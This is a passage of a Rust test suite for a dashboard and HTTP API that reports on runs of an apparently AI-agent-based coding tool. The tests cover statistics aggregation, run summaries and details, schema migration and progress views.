19519    }
19520
19521    #[test]
19522    fn a_question_card_links_a_task_id_to_the_task_page() {
19523        let start = APP_JS
19524            .find("function updateAskCard(")
19525            .expect("updateAskCard exists");
19526        let body = &APP_JS[start..];
19527        let body = &body[..body.find("\n}\n").expect("function end")];
19528        assert!(body.contains("question.run_is_task"));
19529        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
19530        assert!(body.contains("`#/runs/${question.run}`"));
19531        assert!(body.contains("\"task\" : \"run\""));
19532    }
19533
19534    #[test]
19535    fn plain_text_message_surfaces_go_through_linkify() {
19536        assert!(APP_JS.contains("function linkify("));
19537        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
19538        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
19539        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
19540        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
19541        assert!(!APP_JS.contains("innerHTML = text"));
19542    }
19543
19544    #[test]
19545    fn implementation_rate_views_keep_independent_samples() {
19546        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
19547            let a = stats::AgentStats {
19548                competitive_entered: competitive_n,
19549                competitive_wins: usize::from(competitive_n > 0),
19550                solo_entered: solo_n,
19551                solo_adopted: 2 * usize::from(solo_n > 0),
19552                ..Default::default()
19553            };
19554            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
19555            for (key, n, numerator) in [
19556                ("competitive_win_rate", competitive_n, a.competitive_wins),
19557                ("solo_adoption_rate", solo_n, a.solo_adopted),
19558            ] {
19559                if n == 0 {
19560                    assert!(v[key].is_null());
19561                } else {
19562                    assert_eq!(v[key]["denominator"], n);
19563                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
19564                }
19565            }
19566        }
19567        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
19568        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
19569        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
19570        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19571    }
19572
19573    #[test]
19574    fn stats_bars_share_one_id_keyed_plan() {
19575        let start = APP_JS
19576            .find("function statsBarRows(")
19577            .expect("statsBarRows exists");
19578        let body = &APP_JS[start..];
19579        let body = &body[..body.find("\n}\n").expect("function end")];
19580        assert!(body.contains("statsBarPlan(rows)"));
19581        assert!(body.contains("statsAgentTone(row.agent)"));
19582        assert!(!body.contains("candTone(i)"));
19583        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19584        for root in [
19585            "stats-agents-bars",
19586            "stats-solo-bars",
19587            "stats-reviewers-bars",
19588        ] {
19589            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
19590        }
19591    }
19592
19593    #[test]
19594    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
19595        let start = APP_JS
19596            .find("function renderStatsReviewerScatter(")
19597            .expect("renderStatsReviewerScatter exists");
19598        let body = &APP_JS[start..];
19599        let body = &body[..body.find("\n}\n").expect("function end")];
19600        assert!(body.contains("statsScatterPlan(reviewers)"));
19601        assert!(body.contains("statsAgentTone(d.agent)"));
19602        assert!(APP_JS.contains("function statsScatterPlan("));
19603        assert!(
19604            APP_JS.contains("d.submitted < STATS_LOW_N")
19605                || APP_JS.contains("r.submitted < STATS_LOW_N")
19606        );
19607        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
19608        assert!(APP_CSS.contains(".precision-scatter"));
19609    }
19610
19611    #[test]
19612    fn advisor_reflection_is_drawn_as_stacked_segments() {
19613        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
19614        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
19615        let html = include_str!("../assets/ui/index.html");
19616        assert!(html.contains("Approximate"));
19617        for label in ["reflected strongly", "faint", "no proposal"] {
19618            assert!(html.contains(label));
19619        }
19620        let css = include_str!("../assets/ui/app.css");
19621        for c in ["refl-strong", "refl-faint", "refl-absent"] {
19622            assert!(css.contains(&format!(".{c} {{")));
19623        }
19624    }
19625
19626    #[test]
19627    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
19628        assert!(APP_JS.contains("function statsDailyPlan("));
19629        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
19630        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
19631    }
19632
19633    #[test]
19634    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
19635        let start = APP_JS
19636            .find("function scheduleSearch(")
19637            .expect("scheduleSearch exists");
19638        let body = &APP_JS[start..];
19639        let body = &body[..body.find("\n}\n").expect("function end")];
19640        assert!(body.contains("s.seq += 1"));
19641    }
19642
19643    /// The dashboard reads every run's state itself rather than trusting a
19644    /// separately-maintained count, so an unreadable run must be counted the
19645    /// same way `/api/health` counts it - never silently dropped the way the
19646    /// CLI's own `stats::load_all` drops it.
19647    #[tokio::test]
19648    async fn stats_runs_unreadable_matches_health() {
19649        let f = Fixture::start().await;
19650        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19651        let broken = f.runs().join("20260902-140502-bad");
19652        std::fs::create_dir_all(&broken).expect("run dir");
19653        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19654
19655        let stats = f.get("/api/stats").await;
19656        let health = f.get("/api/health").await;
19657
19658        assert_eq!(stats.status, 200);
19659        assert_eq!(stats.json()["totals"]["runs"], 1);
19660        assert_eq!(stats.json()["runs_unreadable"], 1);
19661        assert_eq!(
19662            stats.json()["runs_unreadable"],
19663            health.json()["runs_unreadable"],
19664            "the dashboard and /api/health must never disagree about how many \
19665             runs could not be read"
19666        );
19667    }
19668
19669    #[tokio::test]
19670    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
19671        let f = Fixture::start().await;
19672        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19673        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
19674        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
19675
19676        let totals = &f.get("/api/stats").await.json()["totals"];
19677        assert_eq!(totals["runs"], 3);
19678        assert_eq!(totals["merged"], 1);
19679        assert_eq!(totals["stalled"], 1);
19680        assert_eq!(totals["in_progress"], 1);
19681        // A stalled run must never read as blocked/merged/ready - it is its
19682        // own bucket, not folded into a "decided" one.
19683        assert_eq!(totals["blocked"], 0);
19684        assert_eq!(totals["ready"], 0);
19685    }
19686
19687    #[tokio::test]
19688    async fn stats_advisors_report_proposals_and_reflection() {
19689        use crate::advise::{Advice, AdvisorRecord, Reflection};
19690        use crate::verdict::Proposal;
19691
19692        let f = Fixture::start().await;
19693        let mut state = RunState::new(
19694            PathBuf::from("/repo/magi"),
19695            "main".to_owned(),
19696            "0123456789abcdef".to_owned(),
19697            "task".to_owned(),
19698            Config::default(),
19699        );
19700        state.id = "20260902-140501-a".to_owned();
19701        state.status = RunStatus::Merged;
19702        state.advice = Some(Advice {
19703            records: vec![
19704                AdvisorRecord {
19705                    seat: "advisor-1".to_owned(),
19706                    agent: "alpha".to_owned(),
19707                    proposal: Some(Proposal {
19708                        approach: "do it".to_owned(),
19709                        key_tradeoff: "speed over memory".to_owned(),
19710                        risks: Vec::new(),
19711                        touches: Vec::new(),
19712                        why_not_naive: "breaks under load".to_owned(),
19713                    }),
19714                    error: None,
19715                    duration_ms: 0,
19716                    reflection: Reflection::Strong,
19717                },
19718                AdvisorRecord {
19719                    seat: "advisor-2".to_owned(),
19720                    agent: "alpha".to_owned(),
19721                    proposal: None,
19722                    error: Some("timed out".to_owned()),
19723                    duration_ms: 0,
19724                    reflection: Reflection::Absent,
19725                },
19726            ],
19727            synthesis: Some("blended brief".to_owned()),
19728        });
19729        let dir = f.runs().join(&state.id);
19730        std::fs::create_dir_all(&dir).expect("run dir");
19731        std::fs::write(
19732            dir.join("run.json"),
19733            serde_json::to_string_pretty(&state).expect("serialize run"),
19734        )
19735        .expect("write run.json");
19736
19737        // `alpha` is in no roster here; this test is about the rates.
19738        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
19739        let alpha = advisors
19740            .as_array()
19741            .expect("an array")
19742            .iter()
19743            .find(|a| a["agent"] == "alpha")
19744            .expect("alpha row");
19745        assert_eq!(alpha["seated"], 2);
19746        assert_eq!(alpha["proposed"], 1);
19747        assert_eq!(alpha["absent"], 1);
19748        assert_eq!(alpha["strong"], 1);
19749        assert_eq!(alpha["faint"], 0);
19750        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
19751    }
19752
19753    #[tokio::test]
19754    async fn stats_hides_agents_outside_the_roster_unless_all() {
19755        use crate::run::Candidate;
19756        let repo = TempDir::new().expect("repo dir");
19757        std::fs::write(
19758            repo.path().join("magi.toml"),
19759            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
19760        )
19761        .expect("magi.toml");
19762        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
19763        let mut state = RunState::new(
19764            PathBuf::from("/repo/magi"),
19765            "main".to_owned(),
19766            "0123456789abcdef".to_owned(),
19767            "task".to_owned(),
19768            Config::default(),
19769        );
19770        state.id = "20260902-140501-a".to_owned();
19771        state.status = RunStatus::Merged;
19772        for (label, agent) in [('A', "keep"), ('B', "retired")] {
19773            let mut c: Candidate = serde_json::from_value(serde_json::json!({
19774                "index": 0, "label": label.to_string(), "agent": agent,
19775                "branch": "b", "worktree": "/w",
19776            }))
19777            .expect("candidate");
19778            c.label = label;
19779            state.candidates.push(c);
19780        }
19781        let dir = f.runs().join(&state.id);
19782        std::fs::create_dir_all(&dir).expect("run dir");
19783        std::fs::write(
19784            dir.join("run.json"),
19785            serde_json::to_string_pretty(&state).expect("serialize run"),
19786        )
19787        .expect("write run.json");
19788
19789        let agents_of = |v: &serde_json::Value| -> Vec<String> {
19790            v["agents"]
19791                .as_array()
19792                .expect("array")
19793                .iter()
19794                .map(|a| a["agent"].as_str().unwrap().to_owned())
19795                .collect()
19796        };
19797        let hidden = f.get("/api/stats").await.json();
19798        assert_eq!(agents_of(&hidden), ["keep"]);
19799        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
19800        assert_eq!(hidden["totals"]["runs"], 1);
19801
19802        let all = f.get("/api/stats?all=true").await.json();
19803        assert_eq!(agents_of(&all).len(), 2);
19804        assert_eq!(all["retired_hidden"], serde_json::json!([]));
19805        // Verify competitive and solo keys exist on agent entries
19806        let keep_agent = all["agents"]
19807            .as_array()
19808            .unwrap()
19809            .iter()
19810            .find(|a| a["agent"] == "keep")
19811            .unwrap();
19812        assert_eq!(keep_agent["competitive_entered"], 1);
19813        assert_eq!(keep_agent["competitive_wins"], 0);
19814        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
19815        assert_eq!(keep_agent["solo_entered"], 0);
19816        assert_eq!(keep_agent["solo_adopted"], 0);
19817        assert!(keep_agent["solo_adoption_rate"].is_null());
19818    }
19819
19820    #[tokio::test]
19821    async fn stats_release_bumps_split_clean_from_attention() {
19822        use crate::run::ReleaseBump;
19823
19824        let f = Fixture::start().await;
19825
19826        let mut clean = RunState::new(
19827            PathBuf::from("/repo/magi"),
19828            "main".to_owned(),
19829            "0123456789abcdef".to_owned(),
19830            "task".to_owned(),
19831            Config::default(),
19832        );
19833        clean.id = "20260902-140501-a".to_owned();
19834        clean.status = RunStatus::Merged;
19835        clean.release_bump = Some(ReleaseBump {
19836            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
19837            version: Some("1.0.0".to_owned()),
19838            automerge_enabled: true,
19839            merged_directly: false,
19840            local: false,
19841            release: None,
19842            problem: None,
19843            action_required: None,
19844            skipped: None,
19845        });
19846
19847        let mut blocked = RunState::new(
19848            PathBuf::from("/repo/magi"),
19849            "main".to_owned(),
19850            "0123456789abcdef".to_owned(),
19851            "task".to_owned(),
19852            Config::default(),
19853        );
19854        blocked.id = "20260902-140502-b".to_owned();
19855        blocked.status = RunStatus::Merged;
19856        blocked.release_bump = Some(ReleaseBump {
19857            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
19858            version: Some("1.0.1".to_owned()),
19859            automerge_enabled: false,
19860            merged_directly: false,
19861            local: false,
19862            release: None,
19863            problem: Some("checks red".to_owned()),
19864            action_required: Some("look at the PR".to_owned()),
19865            skipped: None,
19866        });
19867
19868        for state in [&clean, &blocked] {
19869            let dir = f.runs().join(&state.id);
19870            std::fs::create_dir_all(&dir).expect("run dir");
19871            std::fs::write(
19872                dir.join("run.json"),
19873                serde_json::to_string_pretty(state).expect("serialize run"),
19874            )
19875            .expect("write run.json");
19876        }
19877
19878        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19879        assert_eq!(bumps["merged"], 2);
19880        assert_eq!(bumps["recorded"], 2);
19881        assert_eq!(bumps["pr_opened"], 2);
19882        assert_eq!(bumps["automerge_enabled"], 1);
19883        assert_eq!(bumps["needs_attention"], 1);
19884        assert_eq!(bumps["clean"], 1);
19885        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
19886        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
19887    }
19888
19889    #[tokio::test]
19890    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
19891        let f = Fixture::start().await;
19892        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19893
19894        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19895        assert_eq!(bumps["merged"], 1);
19896        assert_eq!(bumps["recorded"], 0);
19897        // `merged` is nonzero, so coverage still reads as a real 0%, not an
19898        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
19899        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
19900        // `pr_opened` and `recorded` are both zero here, so these rates have
19901        // no denominator to compute from and must be null.
19902        assert_eq!(bumps["automerge_rate"], Value::Null);
19903        assert_eq!(bumps["attention_rate"], Value::Null);
19904    }
19905
19906    #[tokio::test]
19907    async fn stats_queue_counts_come_from_the_live_queue() {
19908        let f = Fixture::start().await;
19909        let q = f.queue();
19910        let mut queued = Task::new(
19911            "queued task".to_owned(),
19912            "do it".to_owned(),
19913            PathBuf::from("/repo"),
19914            Source::Human,
19915        );
19916        q.put(&mut queued).expect("put queued");
19917        let mut held = Task::new(
19918            "held task".to_owned(),
19919            "do it later".to_owned(),
19920            PathBuf::from("/repo"),
19921            Source::Human,
19922        );
19923        held.hold_machine(Some("out of attempts".to_owned()));
19924        q.put(&mut held).expect("put held");
19925
19926        let queue = f.get("/api/stats").await.json()["queue"].clone();
19927        assert_eq!(queue["queued"], 1);
19928        assert_eq!(queue["held"], 1);
19929        assert_eq!(queue["running"], 0);
19930        assert_eq!(queue["done"], 0);
19931        assert_eq!(queue["failed"], 0);
19932        assert_eq!(queue["blocked"], 0);
19933    }
19934
19935    #[tokio::test]
19936    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
19937        let f = Fixture::start().await;
19938        let stats = f.get("/api/stats").await;
19939        assert_eq!(stats.status, 200);
19940        assert_eq!(stats.json()["totals"]["runs"], 0);
19941        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
19942        assert_eq!(stats.json()["runs_unreadable"], 0);
19943        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
19944        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
19945        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
19946        assert_eq!(stats.json()["repo"], Value::Null);
19947    }
19948
19949    #[tokio::test]
19950    async fn stats_lists_every_repository_with_runs_recorded() {
19951        let f = Fixture::start().await;
19952        write_run_repo(
19953            &f.runs(),
19954            "20260902-140501-a",
19955            RunStatus::Merged,
19956            "/repos/a",
19957        );
19958        write_run_repo(
19959            &f.runs(),
19960            "20260902-140502-b",
19961            RunStatus::Merged,
19962            "/repos/a",
19963        );
19964        write_run_repo(
19965            &f.runs(),
19966            "20260902-140503-c",
19967            RunStatus::Blocked,
19968            "/repos/b",
19969        );
19970
19971        let stats = f.get("/api/stats").await;
19972        assert_eq!(stats.status, 200);
19973        // Unfiltered - the aggregate across both repositories.
19974        assert_eq!(stats.json()["totals"]["runs"], 3);
19975        assert_eq!(stats.json()["repo"], Value::Null);
19976
19977        let repos = stats.json()["repos"].clone();
19978        let repos = repos.as_array().unwrap();
19979        assert_eq!(repos.len(), 2);
19980        // Busiest (2 runs) first.
19981        assert_eq!(repos[0]["repo"], "/repos/a");
19982        assert_eq!(repos[0]["name"], "a");
19983        assert_eq!(repos[0]["runs"], 2);
19984        assert_eq!(repos[1]["repo"], "/repos/b");
19985        assert_eq!(repos[1]["runs"], 1);
19986    }
19987
19988    #[tokio::test]
19989    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
19990        let f = Fixture::start().await;
19991        write_run_repo(
19992            &f.runs(),
19993            "20260902-140501-a",
19994            RunStatus::Merged,
19995            "/repos/a",
19996        );
19997        write_run_repo(
19998            &f.runs(),
19999            "20260902-140502-b",
20000            RunStatus::Blocked,
20001            "/repos/b",
20002        );
20003
20004        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
20005        assert_eq!(stats.status, 200);
20006        assert_eq!(stats.json()["totals"]["runs"], 1);
20007        assert_eq!(stats.json()["totals"]["merged"], 1);
20008        assert_eq!(stats.json()["repo"], "/repos/a");
20009        // The repository list itself is unaffected by the filter - it is
20010        // what a client switches repositories from.
20011        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
20012        // runs_unreadable is a whole-workload count, never scoped to the
20013        // selected repository - see StatsView::runs_unreadable's own doc.
20014        assert_eq!(stats.json()["runs_unreadable"], 0);
20015    }
20016
20017    #[tokio::test]
20018    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
20019        let f = Fixture::start().await;
20020        write_run_repo(
20021            &f.runs(),
20022            "20260902-140501-a",
20023            RunStatus::Merged,
20024            "/repos/a",
20025        );
20026        write_run_repo(
20027            &f.runs(),
20028            "20260902-140502-b",
20029            RunStatus::Merged,
20030            "/repos/b",
20031        );
20032
20033        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
20034            let json = f.get(uri).await.json();
20035            let daily = json["daily"].as_array().expect("daily is an array");
20036            assert_eq!(daily.len(), 30);
20037            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
20038            let mut sorted = dates.clone();
20039            sorted.sort();
20040            assert_eq!(dates, sorted);
20041            for d in daily {
20042                assert_eq!(
20043                    d["merged"].as_u64().unwrap()
20044                        + d["ready"].as_u64().unwrap()
20045                        + d["other"].as_u64().unwrap(),
20046                    d["runs"].as_u64().unwrap()
20047                );
20048            }
20049            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
20050        }
20051    }
20052
20053    #[tokio::test]
20054    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
20055        let f = Fixture::start().await;
20056        write_run_repo(
20057            &f.runs(),
20058            "20260902-140501-a",
20059            RunStatus::Merged,
20060            "/repos/a",
20061        );
20062
20063        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
20064        assert_eq!(stats.status, 404);
20065    }
20066
20067    #[tokio::test]
20068    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
20069        let f = Fixture::start().await;
20070        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
20071
20072        let summary = f.get("/api/runs").await.json();
20073        let row = &summary[0];
20074        assert_eq!(row["short"], "a1b2");
20075        assert_eq!(row["status"], "ready");
20076        assert_eq!(row["done"], true);
20077        assert_eq!(row["title"], "Add a web UI");
20078        assert_eq!(row["repo_name"], "magi");
20079        assert_eq!(row["judges"], 3);
20080        assert_eq!(row["winner"], Value::Null);
20081        assert_eq!(row["reviews"], 0);
20082
20083        // The short id resolves, and the detail route is the state itself, not
20084        // a projection of it: the UI reads fields the summary does not carry.
20085        let detail = f.get("/api/runs/a1b2").await;
20086        assert_eq!(detail.status, 200);
20087        assert_eq!(detail.json()["base_branch"], "main");
20088        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
20089    }
20090
20091    /// `status: "ready"` alone cannot tell a run still headed for a landing
20092    /// (a PR closed without merging, say) apart from one `[merge] mode =
20093    /// "none"` left unmerged for good — the confusion the operator flagged
20094    /// after the CLI report already grew a `not landed — nothing to do by
20095    /// design` line for exactly this case (`report.rs`). Both the list route
20096    /// and the detail route must carry a flag the phone can key on instead of
20097    /// re-deriving it from `status` + `merge.mode` itself.
20098    #[tokio::test]
20099    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
20100        let f = Fixture::start().await;
20101
20102        let mut none_run = RunState::new(
20103            PathBuf::from("/repo/magi"),
20104            "main".to_owned(),
20105            "0123456789abcdef".to_owned(),
20106            "Add a web UI".to_owned(),
20107            Config::default(),
20108        );
20109        none_run.id = "20260902-140503-none".to_owned();
20110        none_run.status = RunStatus::Ready;
20111        none_run.merge = Some(crate::run::MergeOutcome {
20112            mode: crate::config::MergeMode::None,
20113            ok: true,
20114            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
20115            empty: false,
20116        });
20117        write_state(&f.runs(), &none_run);
20118
20119        let mut pr_run = RunState::new(
20120            PathBuf::from("/repo/magi"),
20121            "main".to_owned(),
20122            "0123456789abcdef".to_owned(),
20123            "Add a web UI".to_owned(),
20124            Config::default(),
20125        );
20126        pr_run.id = "20260902-140504-prcl".to_owned();
20127        pr_run.status = RunStatus::Ready;
20128        pr_run.merge = Some(crate::run::MergeOutcome {
20129            mode: crate::config::MergeMode::Pr,
20130            ok: false,
20131            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
20132            empty: false,
20133        });
20134        write_state(&f.runs(), &pr_run);
20135
20136        let summary = f.get("/api/runs").await.json();
20137        let rows: std::collections::HashMap<&str, &Value> = summary
20138            .as_array()
20139            .expect("an array")
20140            .iter()
20141            .map(|r| (r["id"].as_str().expect("an id"), r))
20142            .collect();
20143        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
20144        assert_eq!(
20145            rows[none_run.id.as_str()]["unmerged_by_design"],
20146            true,
20147            "a mode-none Ready must be flagged in the list"
20148        );
20149        assert_eq!(
20150            rows[pr_run.id.as_str()]["unmerged_by_design"],
20151            false,
20152            "a Ready reached by a closed pull request is a different case"
20153        );
20154
20155        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
20156        assert_eq!(none_detail["status"], "ready");
20157        assert_eq!(none_detail["unmerged_by_design"], true);
20158
20159        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
20160        assert_eq!(pr_detail["unmerged_by_design"], false);
20161    }
20162
20163    /// `RunState::active` is only ever cleared by whoever populated it, so the
20164    /// detail route also has to say whether a daemon is actually still
20165    /// driving this run right now — otherwise a seat from a killed process's
20166    /// last wave would read as live forever.
20167    #[tokio::test]
20168    async fn run_core_survives_unavailable_related_stores() {
20169        let home = TempDir::new().unwrap();
20170        let ui = delta_test_ui(home.path());
20171        let state = RunState::new(
20172            PathBuf::from("/repo/magi"),
20173            "main".into(),
20174            "0123456789abcdef".into(),
20175            "Useful core instructions".into(),
20176            Config::default(),
20177        );
20178        let dir = ui.runs.join(&state.id);
20179        std::fs::create_dir_all(&dir).unwrap();
20180        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
20181        std::fs::write(ui.questions.root(), "unavailable").unwrap();
20182        std::fs::write(ui.queue.root(), "unavailable").unwrap();
20183        let core = run_core(State(ui.clone()), Path(state.id.clone()))
20184            .await
20185            .unwrap()
20186            .0;
20187        assert_eq!(core.state.instruction, state.instruction);
20188        assert_eq!(core.state.updated_at, state.updated_at);
20189        assert!(core.task.is_none());
20190        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
20191    }
20192
20193    #[tokio::test]
20194    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
20195        let f = Fixture::start().await;
20196        // Matches `write_daemon`'s hard-coded `current.run`, so the second
20197        // half of this test can claim the daemon is working on it without a
20198        // second helper.
20199        let id = "20260902-140502-bbbb";
20200        let mut state = RunState::new(
20201            PathBuf::from("/repo/magi"),
20202            "main".to_owned(),
20203            "0123456789abcdef".to_owned(),
20204            "Add a web UI".to_owned(),
20205            Config::default(),
20206        );
20207        state.id = id.to_owned();
20208        state.status = RunStatus::Judging;
20209        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
20210        let dir = f.runs().join(id);
20211        std::fs::create_dir_all(&dir).expect("run dir");
20212        std::fs::write(
20213            dir.join("run.json"),
20214            serde_json::to_string_pretty(&state).expect("serialize run"),
20215        )
20216        .expect("write run.json");
20217
20218        // No daemon.json at all, and no `driver_pid` recorded either (this
20219        // state was written directly, never through `execute()`): there is
20220        // nothing to confirm either way, so the route must say `"unknown"` —
20221        // never `"dead"`, which is exactly the false diagnosis a manual `magi
20222        // run` used to get from this route before `driver_pid` existed.
20223        let cold = f.get(&format!("/api/runs/{id}")).await.json();
20224        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
20225        assert_eq!(cold["live"], "unknown", "{cold}");
20226
20227        // A fresh heartbeat naming exactly this run: the same entry now reads
20228        // as confirmed, not merely recorded.
20229        write_daemon(f.home.path(), Timestamp::now());
20230        let warm = f.get(&format!("/api/runs/{id}")).await.json();
20231        assert_eq!(warm["live"], "live", "{warm}");
20232    }
20233
20234    #[test]
20235    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
20236        let home = tempfile::tempdir().expect("temp home");
20237        let runs = home.path().join("runs");
20238        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
20239            let mut state = RunState::new(
20240                PathBuf::from("/repo/magi"),
20241                "main".to_owned(),
20242                "0123456789abcdef".to_owned(),
20243                "Generated review context, not authored task criteria".to_owned(),
20244                Config::default(),
20245            );
20246            state.origin = origin;
20247            state.status = RunStatus::Blocked;
20248            // Earlier migrations must not infer these facts again.
20249            state.driver_exited = false;
20250            state.gate_ran = true;
20251            let expected = serde_json::to_value(&state).expect("serialize current state");
20252            let mut legacy = expected.clone();
20253            legacy["schema"] = serde_json::json!(13);
20254            legacy.as_object_mut().unwrap().remove("task_instruction");
20255            let dir = runs.join(&state.id);
20256            std::fs::create_dir_all(&dir).expect("run dir");
20257            let path = dir.join("run.json");
20258            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
20259            std::fs::write(&path, &body).expect("write legacy run");
20260
20261            for loaded in [
20262                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
20263                read_run(&runs, &state.id).expect("web migration"),
20264            ] {
20265                assert_eq!(loaded.schema, crate::run::SCHEMA);
20266                assert!(loaded.task_instruction.is_none());
20267                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
20268            }
20269            assert_eq!(runs_unreadable(&runs), 0);
20270            assert_eq!(std::fs::read(&path).unwrap(), body);
20271        }
20272    }
20273
20274    /// Where a run came from is shown, and a run written before origins were
20275    /// recorded (schema 12, no `origin` key) stays readable and says so.
20276    #[tokio::test]
20277    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
20278        let f = Fixture::start().await;
20279        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
20280            let mut state = RunState::new(
20281                PathBuf::from("/repo/magi"),
20282                "main".to_owned(),
20283                "0123456789abcdef".to_owned(),
20284                "Add a web UI".to_owned(),
20285                Config::default(),
20286            );
20287            state.id = id.to_owned();
20288            state.origin = origin;
20289            let mut value = serde_json::to_value(&state).expect("serialize run");
20290            if let Some(schema) = schema {
20291                value["schema"] = serde_json::json!(schema);
20292                value.as_object_mut().unwrap().remove("origin");
20293            }
20294            let dir = f.runs().join(id);
20295            std::fs::create_dir_all(&dir).expect("run dir");
20296            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
20297        };
20298        write(
20299            "20260930-092817-ec34",
20300            Some(crate::run::Origin::from_agent_env(
20301                Some(("4a7b".to_owned(), "chat".to_owned())),
20302                None,
20303            )),
20304            None,
20305        );
20306        write("20260930-092817-0ld1", None, Some(12));
20307
20308        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
20309        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
20310        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
20311
20312        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
20313        assert_eq!(
20314            old["origin_label"], "origin unknown (started before origins were recorded)",
20315            "{old}"
20316        );
20317        assert!(old["origin"].is_null(), "{old}");
20318
20319        let list = f.get("/api/runs").await.json();
20320        let labels: Vec<_> = list
20321            .as_array()
20322            .unwrap()
20323            .iter()
20324            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
20325            .collect();
20326        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
20327    }
20328
20329    #[tokio::test]
20330    async fn run_progress_observation_exposes_activity_without_control_evidence() {
20331        let f = Fixture::start().await;
20332        let mut state = RunState::new(
20333            PathBuf::from("/repo"),
20334            "main".into(),
20335            "abc".into(),
20336            "task".into(),
20337            Config::default(),
20338        );
20339        state.status = RunStatus::Implementing;
20340        state.seat_started(
20341            "implement",
20342            "implement-A",
20343            std::time::Duration::from_secs(60),
20344            0,
20345        );
20346        state.save_under(f.home.path()).unwrap();
20347        let observed = f
20348            .get(&format!("/api/runs/{}/progress", state.id))
20349            .await
20350            .json();
20351        assert_eq!(observed["id"], state.id);
20352        assert!(observed["observed_at"].is_string());
20353        assert_eq!(observed["updated_at"], state.updated_at.to_string());
20354        assert!(observed["progress"]["activity"].is_string());
20355        for field in [
20356            "config",
20357            "candidates",
20358            "land_approval",
20359            "task",
20360            "waiting",
20361            "done",
20362        ] {
20363            assert!(
20364                observed.get(field).is_none(),
20365                "progress must not expose control evidence: {field}"
